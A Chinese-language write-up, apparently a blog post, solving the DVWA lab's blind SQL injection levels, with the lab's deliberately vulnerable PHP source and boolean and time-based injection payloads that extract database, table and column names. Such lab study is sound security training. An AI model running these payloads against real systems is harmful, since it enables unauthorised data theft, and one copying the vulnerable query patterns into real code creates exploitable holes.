DVWA靶场之SQL injection(blind)通关

盲注,顾名思义,无法从界面上直接查看到执行结果,一般的SQL注入基本绝迹,最多的就是盲注

基本步骤:(由于没有回显了,相比一般的SQL注入,也就不需要确定查询字段数、判断回显位置了)

判断注入类型

破库

破表

破字段

获得数据

Low

<?php

if( isset( $_GET[ 'Submit' ] ) ) {

    // Get input

    $id = $_GET[ 'id' ];

    // Check database

    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results

    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors

    if( $num > 0 ) {

        // Feedback for end user

        echo '<pre>User ID exists in the database.</pre>';

    }

    else {

        // User wasn't found, so the page wasn't!

        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user

        echo '<pre>User ID is MISSING from the database.</pre>';

    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);

}

?>

没有过滤,但是返回就两种结果,要么有,要么没有

看代码就是字符型注入,也可以输入

1 不报错

1’ 报错

1’ and 1=1 # 不报错

1’ and 1=2 # 报错

这样判断

1’ and length(database())=1 # 不存在

一直往下,直到

1’ and length(database())=4 # 不报错显示存在

说明数据库名是4个字符

举几个例子

1’ and ascii(substr(database(),1,1))>97 # 从a开始挨个试数据库名第一个字母吧

1’ and ascii(substr(database(),2,1))>97 # 再试第二个字母,用二分法划定区间,以此类推

之后猜库中表数量

1’ and (select count(table_name) from information_schema.tables where table_schema=database())=1 #

之后猜第一个表名长度(limit 0,1是前一步猜出来有两个表)

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #

之后猜第一个表的第一个字符

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #

正常来说,可以猜出整个表名

之后猜表中字段数

1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 #

猜字段名

1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 #

还有经典的的二分法时间盲注,不再列举

Medium
<?php

if( isset( $_POST[ 'Submit' ]  ) ) {

    // Get input

    $id = $_POST[ 'id' ];

    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Check database

    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results

    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors

    if( $num > 0 ) {

        // Feedback for end user

        echo '<pre>User ID exists in the database.</pre>';

    }

    else {

        // Feedback for end user

        echo '<pre>User ID is MISSING from the database.</pre>';

    }

    //mysql_close();

}

?>

mysql_real_escape_string对特殊字符转义,前端有下拉表单限制

既然如此,可以抓包修改参数

例如时间盲注例句

1 and if(length(database())=4,sleep(5),1) #

1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #

1 and if((select count(column_name) from information_schema.columns where table_name=0x7573657273 )=8,sleep(5),1) #

等等

High

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {

    // Get input

    $id = $_COOKIE[ 'id' ];

    // Check database

    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";

    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results

    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors

    if( $num > 0 ) {

        // Feedback for end user

        echo '<pre>User ID exists in the database.</pre>';

    }

    else {

        // Might sleep a random amount

        if( rand( 0, 5 ) == 3 ) {

            sleep( rand( 2, 4 ) );

        }

        // User wasn't found, so the page wasn't!

        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user

        echo '<pre>User ID is MISSING from the database.</pre>';

    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);

}

?>

嗯。。。采用cookie传递id,还对时间盲注有干扰,limit 1 限制了输出结果

那就采用布尔盲注,举几个例子:

抓包将cookie中参数id改为1’ and length(database())=4 #

1’ and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #

1’ and (select count(column_name) from information_schema.columns where table_name=0x7573657273)=8 #

Impossible:

<?php

if( isset( $_GET[ 'Submit' ] ) ) {

    // Check Anti-CSRF token

    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input

    $id = $_GET[ 'id' ];

    // Was a number entered?

    if(is_numeric( $id )) {

        // Check the database

        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );

        $data->bindParam( ':id', $id, PDO::PARAM_INT );

        $data->execute();

        // Get results

        if( $data->rowCount() == 1 ) {

            // Feedback for end user

            echo '<pre>User ID exists in the database.</pre>';

        }

        else {

            // User wasn't found, so the page wasn't!

            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

            // Feedback for end user

            echo '<pre>User ID is MISSING from the database.</pre>';

        }

    }

}

// Generate Anti-CSRF token

generateSessionToken();

?>

又是PDO防SQL注入

原文地址:https://www.cnblogs.com/lcxblogs/p/13301754.html